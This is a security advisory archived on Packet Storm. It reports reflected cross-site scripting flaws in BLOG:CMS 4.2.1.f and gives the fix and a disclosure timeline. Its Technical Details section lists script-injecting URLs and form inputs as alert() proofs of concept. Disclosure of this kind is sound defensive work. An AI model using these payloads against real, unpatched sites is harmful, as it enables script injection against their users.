what you don't know can hurt you

BLOG:CMS 4.2.1.f Cross Site Scripting

BLOG:CMS 4.2.1.f Cross Site Scripting
Posted Jun 7, 2011
Authored by Stefan Schurtz

BLOG:CMS version 4.2.1.f suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 6eeeedc56ead5890b50f450bd87c4559

BLOG:CMS 4.2.1.f Cross Site Scripting

Change Mirror Download
Advisory:           Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS
Advisory ID: SSCHADV2011-007
Author: Stefan Schurtz
Affected Software: Successfully tested on: version 4.2.1.f
Vendor URL: http://www.blogcms.com
Vendor Status: resolved
CVE-ID: -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

Firefox 3.6.17

http://www.example.com/blogcms/photo/index.php?"<script>alert(0x0029A)</script>
http://www.example.com/blogcms/photo/index.php?"<script>alert('XSS');</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert('XSS');</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

>From [email]: <script>alert('XSS');</script>
To [email]: <script>alert('XSS');</script>
To [name]: <script>alert('XSS');</script>

Firefox 4.0.1 / IE8

http://www.example.com/blogcms/photo/index.php?"</script><script>alert('XSS');</script>
http://www.example.com/blogcms/photo/index.php?"</script><script>alert(0x0029A)</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert('XSS');</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

>From [email]: </script><script>alert('XSS');</script>
To [email]: </script><script>alert('XSS');</script>
To [name]: </script><script>alert('XSS');</script>

=========
Solution:
=========

Update to the latest version 4.2.1.g

====================
Disclosure Timeline:
====================

03-Jun-2011 - informed developers
03-Jun-2011 - release date of this security advisory
06-Jun-2011 - new version 4.2.1.g released
07-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.blogcms.com
http://www.rul3z.de/advisories/SSCHADV2011-007.txt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close